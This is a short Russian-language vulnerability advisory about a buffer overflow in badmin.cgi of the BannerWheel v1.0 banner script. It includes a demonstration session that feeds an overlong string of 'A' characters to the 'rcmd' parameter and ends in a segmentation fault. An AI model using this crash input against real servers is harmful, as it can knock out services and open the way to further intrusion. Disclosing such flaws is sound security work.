BannerWheel – бесплатный сценарий для показа баннеров для UNIX систем.
Переполнение буфера происходит при
передаче чрезмерно длинных параметров к сценарию badmin.cgi. 

Пример: 

[capzlock@signal-11 ~/hack/the/planet]$ gcc badmin.c -o badmin.cgi -lcrypt [capzlock@signal-11 ~/hack/the/planet]$ ./badmin
bwe(input): «command» ? kill.the.turkey
bwe(input): «rcmd» ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

bwe(input): «flag» ? kill.the.turkey
Segmentation fault
[capzlock@signal-11 ~/hack/the/planet]$

Уязвимость обнаружена в BannerWheel v1.0.

Оставить мнение